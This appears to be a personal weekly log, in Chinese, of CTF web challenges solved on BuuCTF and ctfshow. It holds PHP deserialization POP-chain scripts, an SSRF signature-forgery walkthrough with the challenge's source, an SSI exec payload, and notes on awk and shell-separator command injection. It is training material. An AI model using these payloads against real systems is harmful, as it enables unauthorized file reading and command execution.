一周CTF刷题总结
记下学到东西的题目。
BuuCTF
[MRCTF2020]Ezpop
字符串比较会出发__toString方法:preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source
知道这个后pop链就容易构造了:
<?php
#
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$show1 = new Show();
$show2 = new Show();
$show2->str = new Test();
$show1->source = $show2;
echo serialize($show1);
[NPUCTF2020]ReadlezPHP
eval不是函数,所以不能像这样调用$b($a)

pop链(flag在环境变量中,在phpinfo查看):
<?php
class HelloPhp
{
public $a = "phpinfo()";
public $b = "assert";
}
$c = new HelloPhp();
echo serialize($c);
[De1CTF 2019]SSRF Me
进去是没有换行的源码,老实说这个自己整理还挺麻烦的,也不知道有什么工具。不过,我有ChatGPT😁

整理之后ChatGPT还提醒这段代码是Python2的,这一点还挺关键的。

贴一下源码:
#!/usr/bin/env python
# encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox): # SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if getSign(self.action, self.param) == self.sign:
return True
else:
return False
# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt", "r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=1234)
这段代码的逻辑比较简单。已知flag在是同目录下的flag.txt,读取flag的方式是通过checkSign中的scan将flag.txt的内容保存到"./%s/result.txt" % self.sandbox,再通过read读取其中的内容。
解题的关键有两个:
getSign中计算签名的方式是字符串直接拼接checkSign中执行action的判断用的是in
看看下面的解题流程就知道这两个点导致的漏洞。
请求/geneSign?param=flag.txtread获得一个Sign

请求/geneSign?param=flag.txt,带上Cookie其中action=readscan; sign=之前的sign

这里面学到的点:可以像urllib.urlopen('flag.txt')直接对本地的flag.txt读取,所以waf()过滤的gopher和file也就不起作用。不过这是Python2.x才有的,在Python 3 中urllib.urlopen() 被改为 urllib.request.urlopen()
[BJDCTF2020]EasySearch
源码:index.php.swp
分析源码有两这里有两个考点:
- md5爆破,之后好好学习一下Python多线程,这里可用的
2020666 - SSI 命令执行,记一下执行的代码
扩展名 .stm、.shtm 和 .shtml都用于表示服务器端包含 (SSI) HTML 文件。执行代码的方式:
<!--#exec cmd="your-command-here" -->
payload:password=2020666&username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
响应头中有文件的位置:

ctfshow
主要做了下菜狗杯的题目
化零为整
一个变量长度只能是1,用url编码组合拼接
大牛 = %E5%A4%A7%E7%89%9B
payload:?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
传说之下
开始游戏暂停调试,在scope的local下的this中,修改score为2077

console中get flag

easyPytHon_P
awk可以用来执行命令:awk '{system("ls")}' 1.py
茶歇区
PHP整形溢出
999999999999999999杯咖啡
小舔田?
很简单的pop构造:
<?php
class Moon{
public $name;
public function __construct(){
$this->name = new Ion_Fan_Princess();
}
}
class Ion_Fan_Princess{
public $nickname="小甜甜";
}
$m = new Moon();
echo serialize($m);
但却出现了错误:

与网上的payload进行对比:
O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:6:"小甜甜";}} // 我输出的
O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}} // 正确的
区别点在于nickname的长度一个是6一个是9,为什么会出现这种情况呢🤔明天记着问问!
LSB探姬
这里直接拼接的文件名可以命令执行

让ChatGPT帮忙复习一下命令的连接符。
在 Linux 中,这五个符号(;, |, ||, &, &&)用于在命令行中连接多个命令,并对命令的执行流程进行控制。他们的含义和使用方式如下:
-
;(分号): 使用分号可以在一行中执行多个命令,这些命令会按顺序一个接一个地执行,不考虑前一个命令的成功或失败。例如:command1 ; command2在这个例子中,
command1会先执行,无论成功与否,接下来都会执行command2。 -
|(管道): 管道符将前一个命令的输出作为后一个命令的输入。例如:command1 | command2在这个例子中,
command1的输出会作为command2的输入。 -
||(或):||是一个逻辑操作符,仅在前一个命令执行失败(返回非零值)时,才会执行后一个命令。例如:command1 || command2在这个例子中,只有当
command1失败时,才会执行command2. -
&(后台执行): 使用&符号,可以使命令在后台运行。例如:command1 & command2在这个例子中,
command1会在后台运行,同时会立即执行command2,而不等待command1完成。 -
&&(与):&&是一个逻辑操作符,仅在前一个命令执行成功(返回零值)时,才会执行后一个命令。例如:command1 && command2在这个例子中,只有当
command1执行成功时,才会执行command2.
这些都是 Shell 编程中常见的操作符,用于控制命令的执行流程。
NICE GPT!!!
web签到

总结
这周做了14道buuctf、16道ctfshow和两道复现的题。接下来先好好学习下python多线程,写点脚本练下手,感觉确实蛮重要的。


下周准备网安实验结课,后面项目也要开发了。争取还是多抽点时间刷刷题吧!